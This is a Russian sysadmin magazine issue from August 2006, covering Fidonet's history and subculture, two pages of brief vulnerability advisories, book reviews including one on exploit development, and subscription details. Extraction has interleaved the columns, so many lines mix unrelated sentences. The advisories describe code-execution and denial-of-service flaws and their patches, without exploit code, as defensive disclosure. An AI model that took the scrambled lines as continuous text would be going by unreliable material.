ника» на просторах СССР. У каждого узла есть свои абоненты – ту, как личную (netmail), так и но-
Еще одним значимым моментом пользователи, осуществляющие пе- вые сообщения эхо-конференций,
в истории развития сети стала публи- реписку в Фидо. Абонентов называют на которые подписан пользователь.
«поинтами» (от англ. «point» – пункт,
кация FidoPolicy. Этот свод правил, ко- Наиболее популярной из таких про-
торый можно назвать «конституцией» точка). Формально они не являются грамм является T-mail.
Fidonet, был выпущен для поддержания частью сети, хотя имеют такие же воз-  Эхо-процессор – обрабатыва-
порядка в сети. Правда, с документом можности, как и системные операторы. ет почту эхо-конференций. Распа-
были согласны не все. Том Дженнингс, Но они не обязаны предоставлять свой ковывает пакеты и распределяет
будучи по идеологическим убеждениям телефон и компьютер для работы с Фи- их по группам.
анархистом, прокомментировал выход до другим пользователям (вообще-то,  Трекер – отвечает за обработку
FidoPolicy коротко, но емко: «Old smelly
сисопы также не обязаны, но делают личной почты. Дело в том, что из-за
crock of shit» («Старый дурно пахнущийэто, причем совершенно безвозмезд- специфичной для Fidonet доставки
кувшин с отходами»). Именно устав Фи- но; подобное поведение и стало одной файлов (от одного узла к другому;
до стал главной причиной ухода из се- из причин, по которой Fidonet стала на- причем письмо зачастую проходит
ти ее создателя. Однако стремитель- зываться «сетью друзей»). путь среди разных регионов и зон)
но разраставшаяся Fidonet завоёвы- Зачем же нужно такое многоуров- письма пакуются. Распаковка и яв-
вала всё большую популярность, и по- невое административное деление? ляется основной задачей трекера.
теря Дженнингса, ныне являющегося Это сделано для идентификации поль-  Файл-эхо-процессор (также на-
сотрудником интернет-провайдера, для зователей. Каждый поинт в Фидо име- зываемый «файл-тоссером») –
неё уже мало что значила. ет свой уникальный, не меняющийся программа для работы в файл-эхах.
адрес в виде: «Зона:Сеть/Узел.Поинт». Файловые эхо-конференции пред-
Иерархия сети Например, из адреса 2:5030/219.8 сле- ставляют собой аналог ftp, с помо-
Fidonet обладает иерархической струк- дует, что его владелец находится во щью которых пользователи обме-
турой. На каждом уровне иерархии второй зоне, в городе Санкт-Петербур- ниваются нетекстовой информа-
есть свой координатор – человек, сле- ге (для Москвы код сети – 5020), поль- цией (ПО и прочее).

№8, август 2006 87


ретроспектива
компьютерном журнале. Свои статьи
она отправляла прямыми звонками че-
рез BBS, а в ответ получала уже свер-
станные номера издания. Для других
пользователей узел был бесполезен:
на нем не было никакой общедоступ-
ной информации. Первые програм-
мы российские фидошники скачива-
ли кто из Эстонии, кто из Чехии. Це-
на на звонки в другие страны была ог-
ромной, но это не останавливало ком-
пьютерных энтузиастов.
Однако уже летом того же года в Но-
восибирске появились две новые BBS:
Morning Star и The Court of the Crimson
King. На них хранилось программное
обеспечение для подключения к Fidonet
и соответствующие утилиты.
Со временем в регионе были обра-
зованы первые сети: 5000/* и 5010/*.
Чуть позже появилась сеть и в Москве.
Устав сети FidoPolicy
Первый московский фидошник – Алек-
сей Забpодин, был поинтом у вышеупо-
мянутого Евгения Чуприянова. Позже
он создаст свой собственный узел.
После включения России в пяти-
десятый регион на собрании систем-
ных операторов были выбраны сете-
вые и региональные координаторы.
Одним из первых координаторов Рос-
сийского региона «50» стал Пит Кви-
тек, известный своим участием в ста-
новлении кодировки 866 в качестве ос-
новной для MS-DOS и модерировани-
ем многих эхо-конференций.
Дальнейшее расширение Fidonet
было весьма тривиальным: от первых
пользователей о сети узнавали в дру-
гих городах, подключались, а затем от-
крывали новые узлы, о которых в свою
очередь узнавали новые люди и т. д.
Первыми эхо-конференциями в Рос-
Официальный сайт Fidonet. Символ сети – собака, сжимающая в зубах дискету сии стали SU.GENERAL и SU.HARD&SOFT.
Особенно популярна была вторая, впос-
 Редактор – наверное, самая важ- полнить поля, вроде имени и адреса ледствии разделившаяся на две: од-
ная программа. Посредством ре- в сети и т. д. на была посвящена аппаратному обес-
дактора просматриваются полу- печению, а другая – программам.
ченные письма и создаются новые. Фидо на просторах Других виртуальных мест, где люди
Безоговорочным лидером среди нашей родины могли бы обсуждать эти темы, в то вре-
утилит такого рода и по-настояще- В России сеть Fidonet появилась мя попросту не существовало. Кстати,
му культовой фидошной програм- в 1990 году. Первым городом, где по- «SU» в начале названия конференции
мой является GoldEd. явилась сеть, стал Новосибирск. Ев- расшифровывалось как «South Ural»
гений Чуприянов (в Фидо он извес- («Южный Урал»). Впрочем, для боль-
Раньше все программы требовали тен как Eric Fletcher) с помощью мо- шинства аббревиатура ничего кроме
долгой ручной настройки, что отпуги- дема Courier2400e совершил звонок как «Soviet Union»(«Советский союз»)
вало многих неискушенных пользова- на единственную тогда работавшую значить не могла, посему никаких спо-
телей. Сейчас в Интернете можно най- BBS в СССР – Kremlin BBS. Этот узел ров не возникло.
ти самонастраивающиеся пакеты, для принадлежал Елене Тадеуш, которая Во всех первых эхах модерато-
работы которых достаточно лишь за- в то время работа в советско-польском ром был Михаил Браво – этот чело-

88
ретроспектива
век, кстати, позже организовал самую
первую в России Санкт-Петербургскую Жаргон Фидо  оффтопик (offtopic) – сообщение
группу пользователей Linux (Linux User За время существования сети Fidonet в ней не по теме конференции;
Group). Когда трафик в конференциях зародился свой, компьютерный лексикон,  рулез (rulez) – возглас восхищения,
вследствие наплыва новых пользова- позже «завоевавший» и Интернет. Вот не- высшего одобрения;
телей стал очень велик, на собрании которые из жаргонизмов Фидо:  сабж (subject) – тема сообщения;
системных операторов функции моде-  ака (aka, also known as) – «также из-  сакс (sucks или suxx) – что-то плохое,
ратора были распределены между не- вестен как» (другое имя, другой адрес нехорошее;
сколькими людьми. В своё время Фи- человека);  cисоп – сокращение от «системный
до пользовались такие личности, как  борда (BBS, Bulleten Board System) – оператор», администратор узла сети;
Леонид Каганов, Алекс Экслер, Сер- электронная доска объявлений;  эха – тематическая конференция;
гей Лукьяненко, тогда еще мало кому  босс, нода (узел) – основная единица  эхотаг (echotag) – название конферен-
известные и зачастую публиковавшие Fidonet, через которою с сетью соеди- ции;
в сети свои рассказы. няются пользователи (поинты);  LOL (Laughing Out Loud) – говорится
 зы (p.s., post scriptum) – постскрип- в ответ на что-либо смешное;
Эхо-конференции тум;  RTFM (Read The F..k... Manual) – мож-
«Эхи» – тематические конференции,  имхо (imho) – по моему мнению; но перевести как «будьте добры изу-
в которых можно обсудить то или иное  нодлист (nodelist) – список узлов в ка- чить документацию по интересующе-
событие, получить совет, прочитать ин- ком-либо локальном сегменте Fidonet; му вас вопросу».
тересные истории и т. д. Они были со-
зданы по типу News-конференций се-  SU.TORMOZ – весьма специфич-  MO.ECHO – конференция для жи-
ти Usenet, которая в нашей стране по- ное место. Больше всего похоже телей столицы. Московские ново-
пулярности так и не получила. на современные веб-чаты, толь- сти, события, слухи.
У каждой конференции свои пра- ко в замедленном виде. Разгово-
вила: в некоторых правит бал стро- ры совершенно ни о чем, зачас- Вообще, об эхах говорить мож-
гое модерирование, в других же ца- тую переходившие во взаимные но бесконечно. Существовали и му-
рит вседозволенность. Тематика са- оскорбления. Тем не менее вокруг зыкальные (SU.MUSIC), и политичес-
мая разная: существуют спортивные конференции образовалось це- кие (SU.POL), и великое множест-
эхи, компьютерные, клубы любителей лое коммьюнити под названием во компьютерных конференций. Пос-
автомобилей и др. «Su.Tormoz team», участники кото- леднее легко объяснимо – пользова-
В российском Фидо в его лучшие рого были постоянными подписчи- телями Фидо в нашей стране являют-
годы существовало порядка трех ты- ками эхи на протяжении несколь- ся, главным образом, профессиональ-
сяч конференций, большая часть из ко- ких лет. ные программисты и системные адми-
торых функционирует до сих пор. Са-  SU.KASHENKO.LOKAL – о порта- нистраторы.
мые популярные эхи: ле Udaff.com слышал, наверное,
 RU.ANEKDOT – безусловно, са- каждый, кто имеет доступ к ресур- Субкультура Fidonet
мая известная конференция. По- сам сети Интернет. Так вот, сама Говорить о Фидо только с технической
явилась летом 1992 года, став на- по себе субкультура так называе- точки зрения (как о компьютерной се-
следницей SU.HUMOR. Предназна- мых падонкаф зародилась именно ти) по меньшей мере неправильно.
чалась она для публикации анекдо- в Фидо, в выше обозначенной эхе. Это прежде всего – сообщество, я бы
тов, однако обсуждали в ней прак- Название было выбрано из-за из- даже сказал – субкультура.
тически всё. Каждый новичок в вестной психиатрической больни- Отношения в Fidonet действитель-
Фидо обязательно подписывается цы. «Кащениты», как их именова- но неформальные, «панибратские».
на RU.ANEKDOT. ли в сети, отличались сильной неа- Независимо от того, кем является со-
 RU.LINUX.CHAINIK – можно ска- декватностью в общении, часто ис- беседник, принято обращаться на «ты».
зать, единственная конференция, пользовали ненормативную лекси- Фидошники, как правило, помогают
где новичок мог что-либо узнать ку, не утруждали себя следованию друг другу. Интересный факт: в нача-
о свободном ПО. Здесь выклады- нормам русского языка. ле становления сети по Москве езди-
вались FAQ, документы, инфор-  RU.NETHACK – место общения со- ла команда сисопов и бесплатно на-
мация о различных дистрибути- здателей компьютерных вирусов, страивала каждому желающему до-
вах. Во время, когда Интернет еще хакеров и компьютерных хулига- ступ в Fidonet.
не был общедоступным, а книжек нов. Несмотря на то что там иног- Впрочем, несмотря на это, са-
о *nix просто не существовало, не- да появлялись настоящие специ- мые жестокие «флеймы» происходи-
обходимость в подобной конферен- алисты в области IT-безопаснос- ли именно в Фидо. Термин «Holy war»
ции трудно было переоценить. Су- ти, большей частью подписчи- («священная война») появился как раз
ществовала и RU.LINUX, предна- ками конференции являлась мо- в этой сети. С++ против Pascal, WarCraft
значавшаяся для более опытных лодёжь, спорившая о «вечных» те- против StarCraft, в конце концов, «Али-
пользователей, однако она была мах, типа «Что круче – Basic или са» против «Гражданской обороны»…
менее популярна и интересна. Pascal». подобные споры составляли огромный

№8, август 2006 89


ретроспектива
бели и музыкальной аппаратуры. Поз-
же «Netclub», к огромному сожалению
пользователей Фидо, был закрыт.

Грустные реалии Fidonet


Сеть Фидо достигла пика популярнос-
ти в 1996 году, когда по официальным
данным количество узлов достигло
35 тысяч (а по неофициальным – в не-
сколько раз больше).
В то время многие сравнивали
Fidonet и Интернет, приводя доводы
в пользу первого. Главным преиму-
ществом считалась бесплатность «се-
ти друзей», но с каждым годом этот ко-
зырь становился все менее актуаль-
ным в связи с удешевлением доступа
к глобальной паутине. Теперь вопросов
уже нет – Интернет с его красивыми и
информативными порталами одержал
безоговорочную победу над системой
Архивы эхо-конференций Фидо на сайте groups.google.ru
конференций, а фидошники разбре-
процент трафика Fidonet. Для «разбо- некоторого времени единственной де- лись по веб-форумам и блогам.
рок по интересам» были отведены спе- вушкой в Fidonet. Большинство эхо-конференций
циальные эхи, вроде SU.NAEZD или В Фидо сформировался целый функционирует и поныне, правда, ве-
SU.FLAME, однако модераторам при- фольклор, надо заметить, весьма са- роятность того, что ваше сообщение
ходилось прекращать «священные вой- мобытный. Анекдоты, байки, расска- будет хоть кем-то прочтено, близка
ны» и в других конференциях. зы… Например, множество авторов к нулю. Ушли из Фидо все те, кого мож-
Как и в любом сообществе, в своё писало в созданную Кагановым кон- но было считать элитой сети, закры-
время в Фидо существовали свои зна- ференцию OBEC.PACTET. лась масса узлов. Вместе с ними ис-
менитости, свои легенды. Например, О встречах фидошников наверня- чезла и сама атмосфера, сеть переста-
пользователь Алексей Попов просла- ка слышал каждый. Это так называе- ла восприниматься как сообщество.
вился тем, что выделил для своего мые сисопки и поинтовки. На первых На данный момент сеть Fidonet, ко-
любимого пса, Бутуза, собственный собираются владельцы узлов, на вто- нечно же, ещё не умерла. Кто-то пи-
узел. Причем Алексей везде утверж- рых – рядовые участники Фидо. На по- шет по привычке, кого-то привлекает
дал, что Бутуз – собака только по ма- добных встречах пьют пиво (некоторые бесплатный доступ. Однако очевидно,
тери, по отцу же он – человек. Шутки даже язвительно называют поинтов- что это – уже не старая-добрая Фидо.
шутками, но системным оператором ки «фидопойками»), обсуждают сете- Как бы там ни было, Fidonet навсегда
одного из узлов в Москве числился не- вое житие-бытие. Да и познакомиться останется в памяти тысяч пользовате-
кий Butuz Popov. с человеком, с которым общался ис- лей местом, в котором они встретили
Крупнейшей же мистификацией ключительно в сети и знал его лишь новых приятелей и провели лучшие ча-
Фидо считался Алекс Экслер. Оказа- по никнейму, всегда интересно. Обыч- сы своей жизни.
лось, что под этим псевдонимом скры- но поинтовки проводятся на городском Я выражаю благодарность Сергею
ваются аж шесть человек, работаю- уровне, реже – устраиваются междуго- Фролову (frs@overlink.ru) за помощь
щих в Московском институте геофи- родние встречи. Те, кто посещал мос- в работе над статьей.
зики. Псевдоним сложился из первых ковскую выставку «Комтек» в девянос-
букв фамилий участников. Виртуаль- тые годы прошлого столетия, наверня- Редактор рубрики: Дмитрий Мороз
ный персонаж использовался для кол- ка замечали скопление людей с прико-
лективного выхода в Фидо всей груп- лотыми на грудь номерами-идентифи- 1. http://groups.google.ru – обновляемые
пой и стал довольно известен на про- каторами в Фидо. архивы эхо-конференций Fidonet.
сторах сети. История с разоблачени- Среди московских пользователей 2. http://faqs.org.ru/Fidonet/fidohist.htm –
ем наделала много шума. Однако вы- популярностью пользовалось заведе- история российского Фидо в вопросах
яснить, какое же отношение ко всему ние «Netclub». Этот клуб (скорее – бар) и ответах.
этому имел настоящий Алекс Экслер, был любимым местом фидошников. По- 3. http://www.Fidonet.org – официальный
писатель и создатель сайта exler.ru, том «Netclub» стали посещать далекие сайт сети.
никто так и не смог. от компьютеров люди, периодически ус- 4. http://lib.ru / TXT/Fidonet.txt – устав
Известностью пользовалась и Ка- траивавшие там вечеринки с распити- Fidonet (FidoPolicy).
тя Лажинцева, главным образом пото- ем алкогольных напитков и фейервер- 5. http://rndfido.net.ru – документация, про-
му, что была первой и на протяжении ком, что не обходилось без порчи ме- граммы.

90
bugtraq

Множественные уязвимости в Wireshark


Выполнение произвольного кода Программа: Wireshark (ранее Ethereal) версии до 0.99.2.
в Macromedia Flash Player Опасность: Высокая.
Программа: Macromedia Flash Player 8.0.24, возможно, бо- Описание: Уязвимости существуют в различных диссек-
лее ранние версии. торах протоколов из-за ошибок проверки границ данных,
Опасность: Высокая. ошибок форматной строки, ошибок завышения на едини-
Описание: Уязвимость существует из-за неизвестной цу и ошибок распределения памяти. Удаленный пользо-
ошибки доступа к памяти при обработке SWF-файлов. Уда- ватель может вызвать отказ в обслуживании приложения,
ленный пользователь может с помощью специально сфор- потребить все доступные ресурсы на системе и выполнить
мированного SWF-файла вызвать переполнение буфера произвольный код.
и выполнить произвольный код на целевой системе. URL производителя: www.wireshark.org.
URL производителя: www.macromedia.com. Решение: Установите последнюю версию (0.99.2) с сайта
Решение: Установите последнюю версию (9.0) с сайта про- производителя.
изводителя.

Отказ в обслуживании в GnuPG


Отказ в обслуживании в MailEnable Программа: GnuPG 1.4.3 и 1.9.20, возможно, более ран-
Программа: MailEnable Standard (все версии), MailEnable ние версии.
Professional (все версии), MailEnable Enterprise (все вер- Опасность: Средняя.
сии). Описание: Уязвимость существует из-за ошибки в parse-
Опасность: Средняя. packet.c при обработке длины пакета. Удаленный пользова-
Описание: Уязвимость существует из-за ошибки в служ- тель может с помощью специально сформированного паке-
бе SMTP при обработке аргументов команды HELO. Уда- та, содержащего слишком большое значение в поле length,
ленный пользователь может с помощью специально сфор- употребить все доступные ресурсы на системе и вызвать от-
мированной команды HELO вызвать отказ в обслужива- каз в обслуживании. Дальнейшая эксплуатация уязвимос-
нии приложения. ти позволит вызвать целочисленное переполнение буфера
URL производителя: www.mailenable.com. и аварийно завершить работу gpg. Для успешной эксплуата-
Решение: Установите исправление с сайта производи- ции уязвимости должна использоваться опция --no-armor.
теля. URL производителя: www.gnupg.org.
Решение: Установите последнюю версию с сайта произ-
водителя.
Раскрытие данных в IBM WebSphere
Application Server
Программа: IBM WebSphere Application Server 5.x. Отказ в обслуживании в Lotus Domino
Опасность: Средняя. Программа: Lotus Domino 6.x.
Описание: 1. Уязвимость существует из-за ошибки в реа- Опасность: Средняя.
лизации веб-контейнера. Удаленный пользователь может Описание: Уязвимость существует из-за ошибки в меха-
просмотреть исходный код JSP-произвольных файлов. низме маршрутизации сообщений (nrouter.exe) при обра-
2. Неизвестная ошибка существует в административ- ботке vCal-запросов. Удаленный пользователь может пос-
ной консоли. лать специально сформированный vCal-запрос и потребить
URL производителя: www.ibm.com. все процессорные ресурсы на системе.
Решение: Установите исправление с сайта производи- URL производителя: www.lotus.com.
теля. Решение: Установите последнюю версию (6.5.4 FP1, 6.5.5
или 7.0) с сайта производителя.

Обход каталога в Webmin


Программа: Webmin 1.270 для Windows и более ранние Отказ в обслуживании в ядре Linux
версии. Программа: Linux Kernel 2.6.x.
Опасность: Средняя. Опасность: Средняя.
Описание: Уязвимость существует из-за неизвестной Описание: Уязвимость существует из-за ошибки при обра-
ошибки при обработке входных данных. Удаленный поль- ботке SCTP-пакетов. Удаленный пользователь может с по-
зователь может просмотреть произвольные файлы на сис- мощью специально сформированного SCTP-пакета вызвать
теме. отказ в обслуживании системы.
URL производителя: www.webmin.com. URL производителя: www.kernel.org.
Решение: Установите последнюю версию (1.280) с сайта Решение: Установите последнюю версию (2.6.16.23
производителя. или 2.6.17.3) с сайта производителя.

Составил Александр Антипов

№8, август 2006 91


книжная полка

Linux. Сборник рецептов


Карла Шрёдер
темах на базе rpm, установка и сопро- список различных ссылок, по которым
вождение программного обеспече- можно ознакомиться с более подроб-
ния в системах на базе дистрибутива ной документацией по GNU/Linux и со-
Debian, сборка программ из исходных путствующим темам. Иногда бывают
кодов, идентификация оборудования, моменты, когда какую-либо задачу
редактирование текстовых файлов нужно решить быстро, а на детальное
в joe и vim, запуск и завершение ра- изучение документации попросту нет
боты в Linux, управление пользовате- времени, именно в подобных случаях
лями и группами, операции с файла- эта книга будет очень кстати. По боль-
ми и разделами, заплатки и настрой- шей части все советы и примеры в кни-
ка обновления ядра, запись CD и DVD, ге ориентированы на дистрибутивы
системный загрузчик и альтернатив- Red Hat, Fedora и Debian (так пишет ав-
ная загрузка. тор), однако нужно заметить, что боль-
Восстановление работоспособнос- шинство из них актуальны и для других
ти системы на примере Knoppix, CUPS, дистрибутивов. Замечательное изда-
Книга носит сугубо практических ха- настройка видео и X-window. Архива- ние, которое окажется полезным всем
рактер, и весь излагаемый материал ция и восстановление, удаленный до- без исключения системным админист-
построен по схеме «проблема-реше- ступ, управление версиями, протокол раторам ОС GNU/Linux.
ние-обсуждение». По сути это изда- NTP. Создание почтового сервера на
ние – огромный сборник различных основе Postfix, борьба со спамом и вре-  Издательство: «Питер»
решений из самых разных областей доносными программами, веб-сервер  Год издания: 2006
администрирования и использования Apache, Samba, а также вопросы, свя-  Количество страниц: 432
ОС GNU/Linux. Круг рассмотренных занные с DNS. Все это и многое дру-  ISBN: 5-469-01188-7
тем очень велик, судите сами: уста- гое вы найдете на страницах этой кни-  Цена: ≈ 390 руб.
новка и модификация программ в сис- ги. В приложении находится хороший Книга предоставлена издательством «Питер».

Искусство взлома и защиты систем


Джек Козиол, Дэвид Личфилд, Дэйв Эйтэл и др.
так что даже люди, абсолютно незна- лиз, трассировка уязвимостей, двоич-
комые с этой темой, при желании лег- ный анализ.
ко освоятся. Подробно рассмотрены Из раздела «Дополнительные ма-
следующие темы: переполнение стека, териалы» вы узнаете об атаках на ба-
создание внедряемого кода (shellcode), зы данных (MS SQL и Oracle), слож-
переполнение кучи, а также дефекты ностях, с которыми вы можете столк-
форматных строк. нуться при атаке на ту или иную систе-
Во второй части, которая носит на- му, о переполнениях в ядре и эксплуа-
звание «Платформа Windows», авто- тации уязвимостей ядра (на примерах
ры повествуют о разработке внедря- ОС Solaris и OpenBSD). Главная заслу-
емого кода для Windows, различных га авторов, в том что им удалось удач-
переполнениях, возможных в процес- но изложить весь представленый ма-
се использования этой ОС и различ- териал в простой и доступной форме,
ного стороннего ПО, обходе различ- хорошо его структурировав и сопрово-
ных фильтров. дим большим количеством примеров.
Это издание является переводом Освоив третью часть книги, вы на- Замечательная книга, которая будет
ставшей уже культовой книги «The учитесь самостоятельно искать уяз- интересна широкому кругу системных
Shellcoder`s handbook: discovering and вимости в различных системах и про- администраторов и программистов.
exploiting security holes» от гуру хакин- граммных комплексах. Среди рас-
га и безопасности с мировыми име- смотренных тем: формирование ра-  Издательство: «Питер»
нами. Из первой части книги вы узна- бочей среды (необходимая докумен-  Год издания: 2006
ете о процессе эксплуатации уязви- тация, обзор различного ПО), внесе-  Количество страниц: 416
мостей в ОС GNU/Linux, работающих ние ошибок, искусство фазинга, ана-  ISBN: 5-469-01233-6
на компьютерах с x86-архитектурой. лизаторы исходных текстов на языках  Цена: ≈ 675 руб.
Объяснения начинаются с самых азов, семейства C, инструментальный ана- Книга предоставлена издательством «Питер».

92
книжная полка

Мир программирования.
Криптография
Найгел Смарт
ти. Также нельзя не отметить, что эту аутентичного открытого ключа. Не ос-
книгу можно начать изучать с мини- тались без внимательного рассмот-
мальным представлением о криптог- рения и вопросы, связанные со стой-
рафии как о науке (однако предпола- костью шифров. Вы узнаете об атаках
гается, что знания математики на до- на схемы с открытым ключом, мето-
статочном уровне у вас все же есть). дах определения стойкости, теорети-
В первой части, которая носит назва- ческой сложности и доказуемой стой-
ние «Предварительные математичес- кости. В приложении находится мате-
кие сведения», автор расскажет вам риал, посвященный основной матема-
об арифметике остатков, конечных по- тической терминологии, а также раз-
лях и вероятностях, а также об эллип- личные примеры реализации на языке
тических кривых. Раздел «Симметрич- Java. Хорошая книга, которая окажется
ное шифрование» представлен мате- полезной не только студентам, изучаю-
Тема защиты информации от посто- риалом об истории шифров, теорети- щим криптографию, но и программис-
ронних глаз была актуальна во все ко-информационной стойкости. Под- там, работающим в данной области.
времена. Криптография как наука яв- робно рассмотрены DES и распреде-
ляется одной из основополагающих ление симметричных ключей. В тре-  Издательство: «Техносфера»
во всех областях, связанных с защитой тьей части «Криптосистемы с откры-  Год издания: 2004
данных. Несмотря на то что эта книга тым ключом и подписи» автор повес-  Количество страниц: 528
по сути является учебником для сту- твует об основных алгоритмах шиф-  ISBN: 5-94836-043-1
дентов вузов, стиль изложения мате- рования с открытым ключом, тестах  Цена: ≈ 370 руб.
риала достаточно «живой», без излиш- на простоту, факторизации, дискрет- Книга предоставлена издательством «Тех-
ней сухости и академической строгос- ных логарифмах, методах получения носфера».

Администрирование Windows Server 2003.


Подробное руководство
Джонатан Хассел
чати (установка служб общего доступа IIS, управления различными служба-
к файлам, применение автономных па- ми, автоматизация администрирова-
пок, квоты, резервное копирование, ис- ния). Инфраструктура .NET Framework
пользование зашифрованных файло- (введение, типы приложений, защита,
вых систем). Доменная структура име- сборки, модели развертывания). Служ-
нования (рассмотрены зоны и доме- бы терминалов Windows (протокол RDP,
ны, записи ресурсов, процесс создания администрирование служб терминалов,
сервера имен, зоны, интегрированные управление в командной строке). Также
в AD). Active Directory (объекты и кон- рассмотрены кластерные технологии и
цепции AD, построение структуры, реп- NLB кластеры, службы индексирования
ликации каталогов, процесс миграции и очереди сообщений. Отличная книга
на AD, а также поддержка существую- займет достойное место в библиотеке
щей инфраструктуры). Групповая поли- технической литературы любого систем-
Это издание является переводом книги тика и IntelliMirrot (введение в групповую ного администратора Windows.
издательства O`Reilly «Learning Windows политику, средства управления, локаль-
Server 2003», что само по себе уже ука- ная групповая политика, рекомендации  Издательство: «Питер»
зывает на то, что книга хорошая. Повес- по развертыванию). Защита Windows  Год издания: 2006
твование начинается с вводной части по и управление исправлениями (принци-  Количество страниц: 576
Windows Server 2003. Далее вы узнае- пы информационной безопасности, ау-  ISBN: 5-91180-019-5
те об установке и развертывании ОС, дит и журнал событий, службы SUS). IIS  Цена: ≈ 450 руб.
включая вопросы, связанные с автома- (архитектура, компоненты и установка Книга предоставлена издательством «Питер».
тической установкой, обновлении уста-
новленных копий. Службы файлов и пе- Обзор книжных новинок подготовил Александр Байрак

№8, август 2006 93


bugtraq

Множественные уязвимости
в OpenOffice Раскрытие данных в Webmin/Usermin
Программа: OpenOffice 1.1.x, OpenOffice 2.x. Программа: Webmin версии до 1.290, Usermin версии
Опасность: Средняя. до 1.220.
Описание: 1. Уязвимость существует при обработке опре- Опасность: Средняя.
деленных Java-апплетов в документах OpenOffice. Удален- Описание: Уязвимость существует из-за ошибки при об-
ный пользователь может с помощью специально сформи- работке URL. Удаленный неавторизованный пользователь
рованного документа обойти ограничения песочницы и по- может с помощью специально сформированного URL про-
лучить доступ к системным ресурсам с привилегиями те- смотреть произвольные файлы на системе. Подробности
кущего пользователя. уязвимости не сообщаются.
2. Уязвимость существует из-за ошибки при обработке URL производителя: www.webmin.com.
макросов, прикрепленных к документам. Злоумышленник Решение: Установите последнюю версию с сайта произ-
может без ведома пользователя выполнить произвольный водителя.
Basic-код с привилегиями текущего пользователя.
3. Уязвимость существует из-за ошибки проверки гра-
ниц данных при обработке определенных XML-файлов. Уда- Выполнение произвольного кода
ленный пользователь может с помощью специально сфор- в Microsoft Internet Information Server
мированного XML-файла вызвать переполнение буфера Программа: Microsoft Internet Information Server (IIS) 5.0,
и выполнить произвольный код на целевой системе. 5.1, 6.0.
URL производителя: www.openoffice.org. Опасность: Средняя.
Решение: Установите последнюю версию (2.0.3) с сайта Описание: Удаленный авторизованный пользователь с при-
производителя. вилегиями на загрузку файлов может с помощью специ-
ально сформированного ASP-файла выполнить произ-
Раскрытие данных в .NET Framework вольный код на целевой системе. Подробности уязвимос-
Программа: .NET Framework 2.0. ти не сообщаются.
Опасность: Средняя. URL производителя: www.microsoft.com.
Описание: Уязвимость существует из-за ошибки при об- Решение: Установите исправление с сайта производи-
работке URL. Удаленный пользователь может обойти огра- теля.
ничения безопасности ASP.Net и получить неавторизован-
ный доступ к объектам в каталогах приложений (Application
folder). Для удачной эксплуатации уязвимости злоумышлен- Отказ в обслуживании в Cisco IPS
ник должен знать название объекта. Программа: Cisco Intrusion Prevention System (IPS) 5.1.
URL производителя: www.microsoft.com, Опасность: Средняя.
Решение: Установите исправление с сайта производи- Описание: Уязвимость существует из-за ошибки в стандар-
теля. тном драйвере сетевого гигабитного адаптера на чипсете
Intel при обработке некоторых IP-пакетов. Удаленный поль-
Отказ в обслуживании в Samba зователь может с помощью специально сформированного
Программа: Samba 3.0.1 – 3.0.22. IP-пакета вызвать отказ в обслуживании устройства, если
Опасность: Низкая. этот адаптер сконфигурирован на мониторинг трафика.
Описание: Уязвимость существует из-за ошибки при об- URL производителя: www.cisco.com.
работке большого количества подключений к сетевым ре- Решение: Установите исправление (версию 5.1(2)) с сай-
сурсам. Удаленный пользователь может создать большое та производителя.
количество соединений и заставить smbd потреблять боль-
шое количество системных ресурсов.
URL производителя: www.samba.org. Уязвимость состояния операции
Решение: Установите последнюю версию (3.0.23) с сайта в ядре Linux
производителя. Программа: Linux kernel версии до 2.6.17.5.
Опасность: Низкая.
Повышение привилегий в ядре Linux Описание: Уязвимость состояния операции существует при
Программа: Linux kernel версии до 2.6.17.4. изменении статуса файла в файловой системе /proc. Ло-
Опасность: Низкая. кальный пользователь может выполнить произвольный код
Описание: Уязвимость существует из-за недостаточной на целевой системе с привилегиями пользователю root.
обработки данных дампа ядра. Злоумышленник может со- URL производителя: www.kernel.org.
здать дамп в запрещенных директориях или получить при- Решение: Установите последнюю версию (2.6.17.5 или вы-
вилегии пользователя root на системе. ше) с сайта производителя.
URL производителя: www.kernel.org.
Решение: Установите последнюю версию ядра (2.6.17.4) Составил Александр Антипов
с сайта производителя.

94
подписка на 2006 год
Российская Федерация печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
 Подписной индекс: годовой – 20780, полугодовой – 81655  Казахстан – по каталогу «Российская Пресса» через
Каталог агентства «Роспечать» ОАО «Казпочта» и ЗАО «Евразия пресс»
 Подписной индекс: 87836  Беларусь – по каталогу изданий стран СНГ через РГО
Объединенный каталог «Пресса России» «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
Адресный каталог «Подписка за рабочим столом»  Узбекистан – по каталогу «Davriy nashrlar» российс-
Адресный каталог «Библиотечный каталог» кие издания через агентство по распространению пе-
 Альтернативные подписные агентства: чати «Davriy nashrlar» (7000029, г. Ташкент, пл. Муста-
Агентство «Интер-Почта» (495) 500-00-60, курьерская киллик, 5/3, офис 33)
доставка по Москве  Армения – по списку номенклатуры «АРЗИ» через
Агентство «Вся Пресса» (495) 787-34-47 ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Да-
Агентство «Курьер-Прессервис» вида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «ООО Урал-Пресс» (343) 375-62-74 ул. Сарьяна, 22)
ЛинуксЦентр www.linuxcenter.ru  Грузия – по списку номенклатуры «АРЗИ» через АО
 Подписка On-line «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29)
http://www.arzi.ru и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru  Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г. Тирасполь, ул. Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайс-листу через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенк- (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
латуры «АРЗИ»:  Подписка для Украины:
 Азербайджан – по объединенному каталогу россий- Киевский главпочтамт
ских изданий через предприятие по распространению Подписное агентство «KSS», тел./факс (044)464-0220

Подписные
индексы:

20780*
81655**
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»
*
годовой
**
полугодовой

№8, август 2006 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№8(45), Август, 2006 год

УЧРЕДИТЕЛИ
ЧИТАЙТЕ
Владимир Положевец
Александр Михалев В СЛЕДУЮЩЕМ
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
НОМЕРЕ:
РЕДАКЦИЯ
